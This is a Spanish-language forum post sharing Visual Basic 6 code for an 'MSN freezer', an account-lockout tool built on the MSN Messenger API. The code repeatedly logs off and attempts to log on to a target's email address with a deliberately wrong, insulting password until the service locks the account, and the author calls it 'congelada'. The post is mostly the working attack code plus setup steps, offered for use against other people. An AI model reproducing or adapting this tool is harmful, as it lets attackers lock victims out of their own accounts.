Aqui eh vuelto para liberar un nuevo codigo sin fallas y muy optimizado jejejej por k yo no creo en guardarme los codes ya que son uds. "gente del foro" los que me han enseñado a aprender y compartir.. asi q presten atencion.
necesitaremos colocar en referencias(Proyecto->Referencias)
*Messeger Type Library
*Messenger API Type Library
*Messenger Private Type Library
agregar :
1 textbox llamado "txtusermail"
1 command llamado "congelar"
1 timer llamado "timer1"
1 textbox llamado "contador"
2 label llamados lblUserEmail y label1
1 slider llamado conexion
eh aqui el codigo que buscaban jejej si falta algo o falla algo posteenlo aqui salu25
Private MSN As New MsgrObject
Private Sub congelar_Click()
Timer1.Interval = conexion.Value
Timer1.Enabled = True
End Sub
Private Sub Form_Load()
Me.Caption = "Freezer 2 poir tengu jej"
lblUserEmail.Caption = "Direccion de E-mail"
contador.Visible = False
Label1.Caption = "Tiempo para realizar cada conexion"
conexion.Value = "15000"
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
contador.Text = Val(contador.Text) + Val("1")
If contador.Text = "20" Then
Timer1.Enabled = False
MsgBox "congelada!!!", vbInformation, "Tengu Freezer 2"
End If
MSN.Logoff
MSN.Logon txtUserEmail.Text, "Fucked by tengu", MSN.Services.PrimaryService
End Sub
Toodo va en el form1(sin modulos sin nada jejej)